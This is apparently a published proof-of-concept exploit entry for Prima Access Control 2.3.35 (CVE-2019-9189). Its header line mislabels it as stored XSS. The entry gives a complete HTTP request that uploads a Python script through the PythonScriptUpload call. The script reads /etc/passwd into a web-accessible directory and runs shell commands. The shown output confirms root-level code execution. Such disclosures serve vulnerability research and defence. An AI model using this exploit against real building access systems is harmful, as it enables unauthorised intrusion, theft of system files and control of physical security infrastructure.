51 lines
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2.1 KiB
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51 lines
No EOL
2.1 KiB
Text
# Exploit Title: Prima Access Control 2.3.35 - Arbitrary File Upload
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# Google Dork: NA
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# Date: 2019-11-11
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# Exploit Author: LiquidWorm
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# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
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# Software Link: https://www.computrols.com/building-automation-software/
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# Version: 2.3.35
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# Tested on: NA
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# CVE : CVE-2019-9189
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# Advisory: https://applied-risk.com/resources/ar-2019-007
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# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
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# Prima Access Control 2.3.35 Authenticated Stored XSS
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# PoC
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---
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POST /bin/sysfcgi.fx HTTP/1.1
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Host: 192.168.13.37
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Connection: keep-alive
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Content-Length: 572
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Origin: https://192.168.13.37
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Session-ID: 5682699
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User-Agent: Mozi-Mozi/44.0
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Accept: text/html, */*; q=0.01
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Session-Pc: 2
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X-Requested-With: XMLHttpRequest
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Referer: https://192.168.13.37/app/
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en-US,en;q=0.9
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Cookie: G_ENABLED_IDPS=google
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<requests><request name="PythonScriptUpload"><param name="DestinationHwID" value="1"/><param name="FileName" value="test_python.py"/><param name="Content" value="#!/usr/bin/python
#
# test script
#

import sys,os

with open("/etc/passwd") as f:
 with open("/www/pages/app/images/logos/testingus2.txt", "w") as f1:
 for line in f:
 f1.write(line)


os.system("id;uname -a >> /www/pages/app/images/logos/testingus2.txt")"/></request></requests>
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Result:
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$ curl https://192.168.13.37/app/images/logos/testingus2.txt
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root:x:0:0:root:/home/root:/bin/sh
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daemon:x:1:1:daemon:/usr/sbin:/bin/false
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bin:x:2:2:bin:/bin:/bin/false
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sys:x:3:3:sys:/dev:/bin/false
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sync:x:4:100:sync:/bin:/bin/sync
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mail:x:8:8:mail:/var/spool/mail:/bin/false
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www-data:x:33:33:www-data:/var/www:/bin/false
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operator:x:37:37:Operator:/var:/bin/false
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nobody:x:99:99:nobody:/home:/bin/false
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python:x:1000:1000:python:/home/python:/bin/false
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admin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh
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uid=0(root) gid=0(root) groups=0(root),10(wheel)
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Linux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux |